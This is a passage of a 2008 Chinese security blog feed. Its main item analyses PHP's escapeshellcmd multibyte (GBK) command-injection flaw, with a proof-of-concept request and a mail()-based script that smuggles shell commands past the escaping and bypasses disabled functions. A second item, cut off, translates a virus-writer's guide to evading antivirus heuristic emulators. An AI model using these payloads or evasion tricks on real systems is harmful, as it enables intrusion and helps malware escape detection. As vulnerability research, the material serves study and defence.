	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1434.html&quot; title=&quot;高级内网渗透工具:Paris (创建VPN) (2007/10/28)&quot;&gt;高级内网渗透工具:Paris (创建VPN)&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1196.html&quot; title=&quot;零基础制作《武林外传》辅助工具 (VB) (2007/07/10)&quot;&gt;零基础制作《武林外传》辅助工具 (VB)&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1236.html&quot; title=&quot;针对抓win2003系统密码的诡计 (2007/07/25)&quot;&gt;针对抓win2003系统密码的诡计&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1144.html&quot; title=&quot;邪恶的空格-PHP本地文件包含漏洞的新突破口 (2007/06/08)&quot;&gt;邪恶的空格-PHP本地文件包含漏洞的新突破口&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/409a62a5d19fb03d04a4a49bdd5dbc3e&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/409a62a5d19fb03d04a4a49bdd5dbc3e/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1963.html/feed</wfw:commentRss><description>鬼仔：我还没来得及测试。
作者：golds7n[LAG]
大小：9216 Bytes
MD5 ：7026217dc72aa564a2834995d7a7b017
来源：安全焦点
&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8211;
NtGod Private
Powered By golds7n[LAG]
&amp;#8212;&amp;#82...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/409a62a5d19fb03d04a4a49bdd5dbc3e&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/409a62a5d19fb03d04a4a49bdd5dbc3e/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>工具收集</category><category>Windows</category><category>密码</category><pubDate>Thu, 08 May 2008 12:57:36 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1963.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1963</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1963.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72180819/1230972</fs:itemid></item><item><title>php escapeshellcmd多字节编码漏洞解析及延伸</title><link>http://huaidan.org/archives/1962.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;https://www.xfocus.net/bbs/index.php?lang=cn&amp;amp;act=Profile&amp;amp;do=03&amp;amp;MID=62163&quot;&gt;T_Torchidy&lt;/a&gt; (jnchaha_at_163.com)&lt;br /&gt;
来源：安全焦点&lt;/p&gt;
&lt;p&gt;漏洞公告在&lt;a href=&quot;http://www.sektioneins.de/advisories/SE-2008-03.txt&quot; target=&quot;_blank&quot;&gt;http://www.sektioneins.de/advisories/SE-2008-03.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PHP 5 &amp;lt;= 5.2.5&lt;br /&gt;
PHP 4 &amp;lt;= 4.4.8&lt;/p&gt;
&lt;p&gt;一些允许如GBK，EUC-KR, SJIS等宽字节字符集的系统都可能受此影响，影响还是非常大的，国内的虚拟主机应该是通杀的，在测试完这个漏洞之后，发现还是十分有意思的，以前也有过 对这种类型安全漏洞的研究，于是就把相关的漏洞解释和一些自己的想法都写出来，也希望国内的一些有漏洞的平台能迅速做出响应，修补漏洞。&lt;br /&gt;
这个漏洞出在php的用来转义命令行字符串的函数上，这些函数底层是用的php_escape_shell_cmd这个函数的，我们先来看看他的处理过程：&lt;br /&gt;
&lt;span id=&quot;more-1962&quot;&gt;&lt;/span&gt;/* {{{ php_escape_shell_cmd&lt;br /&gt;
Escape all chars that could possibly be used to&lt;br /&gt;
break out of a shell command&lt;/p&gt;
&lt;p&gt;This function emalloc&amp;#8217;s a string and returns the pointer.&lt;br /&gt;
Remember to efree it when done with it.&lt;/p&gt;
&lt;p&gt;*NOT* safe for binary strings&lt;br /&gt;
*/&lt;br /&gt;
char *php_escape_shell_cmd(char *str) {&lt;br /&gt;
register int x, y, l;&lt;br /&gt;
char *cmd;&lt;br /&gt;
char *p = NULL;&lt;/p&gt;
&lt;p&gt;l = strlen(str);&lt;br /&gt;
cmd = safe_emalloc(2, l, 1);&lt;/p&gt;
&lt;p&gt;for (x = 0, y = 0; x &amp;lt; l; x++) {&lt;br /&gt;
switch (str[x]) {&lt;br /&gt;
case &amp;#8216;&amp;#8221;&amp;#8216;:&lt;br /&gt;
case &amp;#8216;\&amp;#8221;:&lt;br /&gt;
#ifndef PHP_WIN32&lt;br /&gt;
if (!p &amp;amp;&amp;amp; (p = memchr(str + x + 1, str[x], l - x - 1))) {&lt;br /&gt;
/* noop */&lt;br /&gt;
} else if (p &amp;amp;&amp;amp; *p == str[x]) {&lt;br /&gt;
p = NULL;&lt;br /&gt;
} else {&lt;br /&gt;
cmd[y++] = &amp;#8216;\\&amp;#8217;;&lt;br /&gt;
}&lt;br /&gt;
cmd[y++] = str[x];&lt;br /&gt;
break;&lt;br /&gt;
#endif&lt;br /&gt;
case &amp;#8216;#&amp;#8217;: /* This is character-set independent */&lt;br /&gt;
case &amp;#8216;&amp;amp;&amp;#8217;:&lt;br /&gt;
case &amp;#8216;;&amp;#8217;:&lt;br /&gt;
case &amp;#8216;`&amp;#8217;:&lt;br /&gt;
case &amp;#8216;|&amp;#8217;:&lt;br /&gt;
case &amp;#8216;*&amp;#8217;:&lt;br /&gt;
case &amp;#8216;?&amp;#8217;:&lt;br /&gt;
case &amp;#8216;~&amp;#8217;:&lt;br /&gt;
case &amp;#8216;&amp;lt;&amp;#8217;:&lt;br /&gt;
case &amp;#8216;&amp;gt;&amp;#8217;:&lt;br /&gt;
case &amp;#8216;^&amp;#8217;:&lt;br /&gt;
case &amp;#8216;(&amp;#8217;:&lt;br /&gt;
case &amp;#8216;)&amp;#8217;:&lt;br /&gt;
case &amp;#8216;[':&lt;br /&gt;
case ']&amp;#8216;:&lt;br /&gt;
case &amp;#8216;{&amp;#8217;:&lt;br /&gt;
case &amp;#8216;}&amp;#8217;:&lt;br /&gt;
case &amp;#8216;$&amp;#8217;:&lt;br /&gt;
case &amp;#8216;\\&amp;#8217;:&lt;br /&gt;
case &amp;#8216;\x0A&amp;#8217;: /* excluding these two */&lt;br /&gt;
case &amp;#8216;\xFF&amp;#8217;:&lt;br /&gt;
#ifdef PHP_WIN32&lt;br /&gt;
/* since Windows does not allow us to escape these chars, just remove them */&lt;br /&gt;
case &amp;#8216;%&amp;#8217;:&lt;br /&gt;
cmd[y++] = &amp;#8216; &amp;#8216;;&lt;br /&gt;
break;&lt;br /&gt;
#endif&lt;br /&gt;
cmd[y++] = &amp;#8216;\\&amp;#8217;;&lt;br /&gt;
/* fall-through */&lt;br /&gt;
default:&lt;br /&gt;
cmd[y++] = str[x];&lt;/p&gt;
&lt;p&gt;}&lt;br /&gt;
}&lt;br /&gt;
cmd[y] = &amp;#8216;\0&amp;#8242;;&lt;br /&gt;
return cmd;&lt;br /&gt;
}&lt;br /&gt;
/* }}} */&lt;/p&gt;
&lt;p&gt;可以看到，php通过将&amp;#8221;,&amp;#8217;,#,&amp;amp;,;&amp;#8230;..等等在shell命令行里有特殊意义的字符都通过在前面加上\变成\&amp;#8221;.\&amp;#8217;, \#,\&amp;amp;,\;&amp;#8230;&amp;#8230;来进行转义，使得用户的输入被过滤，来避免产生command injection漏洞。在php看来，只要过滤了这些字符，送入到system等函数中时，参数就会是安全的，php手册中给出的利用例子如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
$e = escapeshellcmd($userinput);&lt;/p&gt;
&lt;p&gt;// here we don&amp;#8217;t care if $e has spaces&lt;br /&gt;
system(&amp;#8221;echo $e&amp;#8221;);&lt;br /&gt;
$f = escapeshellcmd($filename);&lt;/p&gt;
&lt;p&gt;// and here we do, so we use quotes&lt;br /&gt;
system(&amp;#8221;touch \&amp;#8221;/tmp/$f\&amp;#8221;; ls -l \&amp;#8221;/tmp/$f&amp;#8221;&quot;);&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;很明显，如果没有经过escapeshellcmd的处理，用户输入hello;id的话，最后system执行的会是：&lt;/p&gt;
&lt;p&gt;echo hello;id&lt;/p&gt;
&lt;p&gt;;在shell里是分割命令的作用，这样不仅仅会echo hello,还会执行id这个命令，导致命令注入漏洞。用escapeshellcmd处理之后命令变成：&lt;/p&gt;
&lt;p&gt;echo hello\;id&lt;/p&gt;
&lt;p&gt;这样执行的命令就只会是echo，其他的都变成echo的参数，很安全。&lt;/p&gt;
&lt;p&gt;事实上是这样么？php在处理完参数送入system之后它就什么都不管了，后面的工作实际上都是由linux来完成的，那么linux在处理这 些参数的时候是怎么样的呢？linux在执行命令的时候会有一些的表示工作环境的环境变量，譬如PWD代表当前的工作环境，UID代表了你的身 份，BASH代表命令解释器等等&amp;#8230;&amp;#8230;而在linux系统执行命令的时候，还有一个非常重要的参数，LANG，这个参数决定了linux shell如何处理你的输入，这样就可以当你输入一些中文字符的时候，linux能认识他，不至于出现人与系统之间出现理解上的错误。默认情况 下，linux的LANG是en_US.UTF-8，UTF-8是一个很安全的字符集，其系列中包含有对自身的校验，所以不会出现错误，会工作良好。一些 系统支持多字节字符集如GBK的时候，这也正是国内的多数情况，你可以设置LANG=zh_CN.GBK，这样你的输入都会被当作GBK编码处理，而 GBK是双字节的，合法的GBK编码会被认为是一个字符。&lt;br /&gt;
大家可以看到，在php的处理过程中，它是单字节处理的，它只把输入当作一个字节流，而在linux设置了GBK字符集的时候，它的处理是双字节 的，大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE，首字节在 81-FE 之间，尾字节在 40-FE 之间，而一个非常重要的字符\的编码为5c，在GBK的尾字节范围之内，这样我们考虑一个特殊的输入：&lt;/p&gt;
&lt;p&gt;0xbf;id&lt;br /&gt;
或    0xbf&amp;#8217;id&lt;/p&gt;
&lt;p&gt;经过php的escapeshellcmd单字节转码之后将会是&lt;/p&gt;
&lt;p&gt;0xbf5c;id&lt;br /&gt;
0xbf5c&amp;#8217;id&lt;/p&gt;
&lt;p&gt;注意0xbf5c是一个合法的GBK编码，那么在linux执行的时候，会认为输入是&lt;/p&gt;
&lt;p&gt;[0xbfbc];id&lt;/p&gt;
&lt;p&gt;很好，后面的id将会被执行。可以做个简单的实验，如下：&lt;/p&gt;
&lt;p&gt;[loveshell@Loveshell tmp]$ echo 縗&lt;br /&gt;
&amp;gt;&lt;br /&gt;
?&lt;br /&gt;
[loveshell@Loveshell tmp]$ set|grep -i lang&lt;br /&gt;
LANG=zh_CN.GB2312&lt;br /&gt;
LANGVAR=en_US.UTF-8&lt;br /&gt;
[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK&lt;br /&gt;
[loveshell@Loveshell tmp]$ echo 縗&lt;br /&gt;
縗&lt;br /&gt;
[loveshell@Loveshell tmp]$ set|grep -i lang&lt;br /&gt;
LANG=zh_CN.GBK&lt;br /&gt;
LANGVAR=en_US.UTF-8&lt;br /&gt;
[loveshell@Loveshell tmp]$&lt;/p&gt;
&lt;p&gt;其中縗的编码为0xbf5c，可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码，所以会被认为是两个字符，所以其中含有的0&amp;#215;5c起作用，被认为命令没结束。然后我们设置编码为GBK，縗就会被认为是一个字符来echo了。&lt;br /&gt;
那我们如何来证明php的漏洞呢，拿&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
$e = escapeshellcmd($_GET[c]);&lt;br /&gt;
// here we don&amp;#8217;t care if $e has spaces&lt;br /&gt;
system(&amp;#8221;echo $e&amp;#8221;);&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;作为例子，正常情况下上面的代码工作很好，我们提交&lt;/p&gt;
&lt;p&gt;exp.php?c=loveshell%bf;id&lt;/p&gt;
&lt;p&gt;结果返回&lt;/p&gt;
&lt;p&gt;loveshell?id&lt;/p&gt;
&lt;p&gt;我们再来稍微改下上面的代码&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
putenv(&amp;#8221;LANG=zh_CN.GBK&amp;#8221;);&lt;br /&gt;
$e = escapeshellcmd($_GET[c]);&lt;br /&gt;
// here we don&amp;#8217;t care if $e has spaces&lt;br /&gt;
system(&amp;#8221;echo $e&amp;#8221;);&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;php的putenv函数用于修改php的运行时的环境变量，上面修改完LANG之后，再提交上面的参数就可以看到：&lt;/p&gt;
&lt;p&gt;loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295&lt;/p&gt;
&lt;p&gt;命令被成功执行了，这里需要自己设置环境变量，当然也可能某些机器已经设置了LANG为GBK，于是一些采用escapeshellcmd过滤输入的就会 出问题了。这里本质是linux和php对参数的理解不一致，而php的mail函数在底层还是依靠系统来执行sendmail命令的，并且支持对 sendmail命令加参数，不过参数被过滤了，但是利用这里说到的问题，我们就可以在多字节编码机器上bypass过滤。&lt;br /&gt;
mail函数一些代码片段如下：&lt;/p&gt;
&lt;p&gt;&amp;#8230;&amp;#8230;&lt;br /&gt;
if (PG(safe_mode) &amp;amp;&amp;amp; (ZEND_NUM_ARGS() == 5)) {&lt;br /&gt;
php_error_docref(NULL TSRMLS_CC, E_WARNING, &amp;#8220;SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.&amp;#8221;);&lt;br /&gt;
RETURN_FALSE;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, &amp;#8220;sss|ss&amp;#8221;,&lt;br /&gt;
&amp;amp;to, &amp;amp;to_len,&lt;br /&gt;
&amp;amp;subject, &amp;amp;subject_len,&lt;br /&gt;
&amp;amp;message, &amp;amp;message_len,&lt;br /&gt;
&amp;amp;headers, &amp;amp;headers_len,&lt;br /&gt;
&amp;amp;extra_cmd, &amp;amp;extra_cmd_len&lt;br /&gt;
) == FAILURE) {&lt;br /&gt;
return;&lt;br /&gt;
}&lt;br /&gt;
&amp;#8230;&amp;#8230;&lt;/p&gt;
&lt;p&gt;if (force_extra_parameters) {&lt;br /&gt;
extra_cmd = estrdup(force_extra_parameters);&lt;br /&gt;
} else if (extra_cmd) {&lt;br /&gt;
extra_cmd = php_escape_shell_cmd(extra_cmd);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {&lt;br /&gt;
RETVAL_TRUE;&lt;br /&gt;
} else {&lt;br /&gt;
RETVAL_FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;#8230;..&lt;/p&gt;
&lt;p&gt;这里如果不是安全模式就会允许第五个参数，第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数，在php_mail中片段如下：&lt;/p&gt;
&lt;p&gt;&amp;#8230;&amp;#8230;&lt;br /&gt;
if (extra_cmd != NULL) {&lt;br /&gt;
sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);&lt;br /&gt;
strcpy (sendmail_cmd, sendmail_path);&lt;br /&gt;
strcat (sendmail_cmd, &amp;#8221; &amp;#8220;);&lt;br /&gt;
strcat (sendmail_cmd, extra_cmd);&lt;br /&gt;
} else {&lt;br /&gt;
sendmail_cmd = sendmail_path;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;#ifdef PHP_WIN32&lt;br /&gt;
sendmail = popen(sendmail_cmd, &amp;#8220;wb&amp;#8221;);&lt;br /&gt;
#else&lt;br /&gt;
/* Since popen() doesn&amp;#8217;t indicate if the internal fork() doesn&amp;#8217;t work&lt;br /&gt;
* (e.g. the shell can&amp;#8217;t be executed) we explicitely set it to 0 to be&lt;br /&gt;
* sure we don&amp;#8217;t catch any older errno value. */&lt;br /&gt;
errno = 0;&lt;br /&gt;
sendmail = popen(sendmail_cmd, &amp;#8220;w&amp;#8221;);&lt;br /&gt;
&amp;#8230;&amp;#8230;&lt;/p&gt;
&lt;p&gt;extra_cmd被附着在sendmail路径后面作为参数了，这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了，我写的poc如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
//php disable function bypass vul&lt;br /&gt;
//by Stefan Esser&lt;br /&gt;
//poc by Loveshell&lt;/p&gt;
&lt;p&gt;putenv(&amp;#8221;LANG=zh_CN.GBK&amp;#8221;);&lt;br /&gt;
mail(&amp;#8221;loveshell@loveshell.net&amp;#8221;,&amp;#8221;&quot;,&amp;#8221;&quot;,&amp;#8221;&quot;,&amp;#8221;xxxx&amp;#8221;.chr(0xbf).&amp;#8221;;&amp;#8221;.$_GET[c]);&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;可以在支持GBK的机器上运行，其他字符集应该也一样，稍微修改下也就可以用。至于修补，我想还是尽快升级到新版，或者将mail函数拉入你的黑名单之列。&lt;br /&gt;
这个漏洞的本质是在于处理数据的时候理解不一致造成的，稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致 注射，程序处理和浏览器处理html不一致导致xss，处理xml不一致导致xml注射&amp;#8230;.这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料，在perl等其他脚本语言里，涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是 如何对待输入的数据，字符集不一样，系统得到的信息就不一样，在一些字符集中，只要\,&amp;#8217;,|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问 题，譬如&lt;/p&gt;
&lt;p&gt;SJIS&lt;br /&gt;
[\x20-\x7e]|[\xa1-\xdf]|([\x81-\x9f]|[\xe0-\xef])([\x40-\x7e]|[\x80-\xfc])&lt;/p&gt;
&lt;p&gt;\x40-\x7e就包括了\x5c，导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素，做好处理的一致，避免出现问题。再次向Stefan Esser致，Stefan Esser is my hero! ：）&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(0) | &lt;a href=&quot;http://huaidan.org/archives/1962.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1962.html&quot;&gt;http://huaidan.org/archives/1962.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1962.html&amp;amp;title=php escapeshellcmd多字节编码漏洞解析及延伸&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1962.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1962.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1962.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1698.html&quot; title=&quot;php5.2.3远程CGI缓冲溢出漏洞 (2008/02/18)&quot;&gt;php5.2.3远程CGI缓冲溢出漏洞&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1440.html&quot; title=&quot;风讯，科讯 (2007/10/31)&quot;&gt;风讯，科讯&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1825.html&quot; title=&quot;风讯的产品,你还敢用吗? (2008/03/30)&quot;&gt;风讯的产品,你还敢用吗?&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1408.html&quot; title=&quot;风讯4高危漏洞 (2007/10/18)&quot;&gt;风讯4高危漏洞&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1196.html&quot; title=&quot;零基础制作《武林外传》辅助工具 (VB) (2007/07/10)&quot;&gt;零基础制作《武林外传》辅助工具 (VB)&lt;/a&gt; (3)&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/ba3134f916e9b6ab14ba4a3d12f5be77&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/ba3134f916e9b6ab14ba4a3d12f5be77/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1962.html/feed</wfw:commentRss><description>作者：T_Torchidy (jnchaha_at_163.com)
来源：安全焦点
漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt
PHP 5 &amp;#60;= 5.2.5
PHP 4 &amp;#60;= 4.4.8
一些允许如GBK，EUC-KR, SJIS等宽字节字符集的系统都可能受此影响...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/ba3134f916e9b6ab14ba4a3d12f5be77&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/ba3134f916e9b6ab14ba4a3d12f5be77/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>PHP</category><category>漏洞</category><category>技术文章</category><pubDate>Thu, 08 May 2008 12:55:38 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1962.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1962</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1962.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72180820/1230972</fs:itemid></item><item><title>对抗启发式代码仿真检测技术分析</title><link>http://huaidan.org/archives/1961.html</link><content:encoded>&lt;p&gt;作者：nEINEI&lt;br /&gt;
邮箱：neineit@gmail.com&lt;br /&gt;
完成于：08-05-06&lt;br /&gt;
来源：安全焦点&lt;/p&gt;
&lt;p&gt;最近在研究病毒的检测技术，虽然在这个木马、流氓件猖獗的年代，检测技术（除了考虑效率因素外）已经变得不是十分重要了。但俺仍然出于兴趣想从这 里面寻找些思路。或许对抗技术的本身并不在于谁彻底打败了谁，而在于彼此间共同进步。在查阅资料中发现了这篇文章（Anti heuristic techniques  author:Black Jack ），虽然是比较古老的，但还是可以从中获得很多新的思路。翻译的比较粗糙，如有不正确或不准确的地方还望大家指正，后面我会继续谈些对抗仿真技术的策略。 译文如下：&lt;br /&gt;
&lt;span id=&quot;more-1961&quot;&gt;&lt;/span&gt;简介&lt;br /&gt;
在早些年的日子里，杀毒软件通过对病毒的特征码搜索是完全可以检测出病毒的。但随着病毒数量的快速增涨，反病毒研究人员发明了一些启发式的病毒检测方法， 并把它应用到工作中。代码仿真的启发式扫描器会像虚拟机一样运行程序的代码，并在此环境下检测程序是否具有病毒的相似行为。&lt;/p&gt;
&lt;p&gt;所以在理论上，这样的启发式扫描可以发现任何一种新的病毒。但仅仅是理论上，因为代码仿真不可能达到对真实CUP的100%模拟，所以该技术并不 能毫无遗漏的检测出每一个病毒。由此可见，在VX社区中，寻找启发式引擎的缺陷和利用它们就成了我们的目标和责任。我所要谈的就是如何利用不同的手段欺骗 并愚弄这些启发式引擎，使我们最新创造的那些无形的邪恶的程序不被启发式引擎所找到及清除。&lt;br /&gt;
这是我认为在病毒的编程领域里最有趣的事情(因为始终是有一种伟大的感觉，那就是你比你的敌人更聪明; -) ).以下是我在过去的日子里关于这方面的研究成果。&lt;/p&gt;
&lt;p&gt;了解你的对手&lt;br /&gt;
如果你想研究Anti heuristic技术，第一件事就是你需要一个具有启发式功能的扫描器来检测你编写的创作(virus),我建议你尽量多的找些这样的扫描器。因为每一 启发式的扫描器都有自己的强项及弱点。我给你一个简单的扫描器列表，我将使用这些来进行测试。&lt;/p&gt;
&lt;p&gt;.Thunderbyte Antivirus (&lt;a href=&quot;http://www.thunderbyte.com/&quot; target=&quot;_blank&quot;&gt;http://www.thunderbyte.com&lt;/a&gt;) 在早期，这被认为是最好的扫描器了，但现在，在vxer的眼中它已经被认是很一般的了，至少在&amp;#8221;启发式检测&amp;#8221;(其实仅是特定的字符串描)方面如此。但在其 它方面它附带了很多实用的扫描器(checksummer, cleaner, memory resident utilities&amp;#8230;)。顺便说一下，每个人都会有自己喜欢的不同版本，我建议您使用7.xx这一版本。因为这个版本可以让您制定您自己的扫描方式， 这一点很重要，如果你自己不小心感染了自己的机器。&lt;/p&gt;
&lt;p&gt;.F-prot (&lt;a href=&quot;http://www.datafellows.com/&quot; target=&quot;_blank&quot;&gt;http://www.datafellows.com&lt;/a&gt;) 这个是不算太坏的，虽然还有很多更好的。有趣的是，比起现在最后的一个版本在启发式方面有了更好的改进。所有我建议您使用V2.2.8版或像我一样使用 V2.2.7版来测试你的病毒。另外有趣的特点是这款扫描器，支持使用可疑扫描的命令行参数方式执行。如果您使用它，将进入一个智能的扫描模式。基于这样 的原因，你知道开启可疑检测模式并不是必需的，如果你这样做了，你会知道你的anti-heuristic 技术实在是太好用了。&lt;/p&gt;
&lt;p&gt;.AVP (&lt;a href=&quot;http://www.avp.ch/&quot; target=&quot;_blank&quot;&gt;http://www.avp.ch&lt;/a&gt;):在我认为最好的启发式扫描器当中，确实是难于欺骗的一个。我是用的版本是version 3.0 build 128&lt;br /&gt;
.NOD (&lt;a href=&quot;http://www.eset.sk/&quot; target=&quot;_blank&quot;&gt;http://www.eset.sk&lt;/a&gt;): 像AVP一样的优秀。&lt;br /&gt;
.Dr. Web (&lt;a href=&quot;http://www.dials.ru/&quot; target=&quot;_blank&quot;&gt;http://www.dials.ru&lt;/a&gt;): 这也是非常好的启发式扫描器，那些俄罗斯人知道如何取得更好的Anti Virus效果。&lt;br /&gt;
.Dr Solomon&amp;#8217;s (&lt;a href=&quot;http://www.drsolomon.com/&quot; target=&quot;_blank&quot;&gt;http://www.drsolomon.com&lt;/a&gt;):从我一个在NAI工作的一个朋友那里知道，这是一款中高质量的扫描器，但它的效果仍优于mcafee。&lt;br /&gt;
.Ikarus Antivirus (&lt;a href=&quot;http://www.ikarus.at/&quot; target=&quot;_blank&quot;&gt;http://www.ikarus.at&lt;/a&gt;):一个中等品质的扫描器，我使用它，是出于爱国的原因。&lt;/p&gt;
&lt;p&gt;重要的思路&lt;br /&gt;
我的所有欺骗手段，都是基于同样的思路的：那就是病毒是加密的，我们要在扫描器能解密出病毒体前停止仿真代码的执行，或者在扫描过程中隐藏我们的加密密 钥。如果你仍然没有使用加密的方式，密钥隐藏手段也是可以使用的，在“加密”的调用方式中（例如，int 21h 中断的值），例如这样打开一个文件的操作,虽然我没有测试过这种方式。&lt;br /&gt;
mov ax, 3D02h        ;0&amp;#215;3D02 是密钥&lt;br /&gt;
add ax, key&lt;br /&gt;
int 21h&lt;/p&gt;
&lt;p&gt;1 通过指令预取反跟踪技术：&lt;/p&gt;
&lt;p&gt;早期的处理器，像386或者486都使用了指令队列预期（PIQ）技术来提高代码执行效率。这一技术的本质是，当CPU将要执行一条指令时，它已经将该指令预先读到了CPU的cache中了。所以在此之前的修改对CPU来说已经没有影响了。让我看一个这样的例子：&lt;br /&gt;
mov word ptr cs:[offset piq], 20CDh&lt;br /&gt;
piq:&lt;br /&gt;
nop&lt;br /&gt;
nop&lt;/p&gt;
&lt;p&gt;你应该会想到这个程序将结束运行，因为两个字节的nop 指令会被覆盖为 int 20h（译者注：int 20h 是返回DOS的指令）。但在386或486的机器上去并非如此，因为nop指令已经在cpu的cache中了。但在Pentium/Pentium II 体系的机器中运行时，指令则会被覆盖，程序执行后退出。&lt;/p&gt;
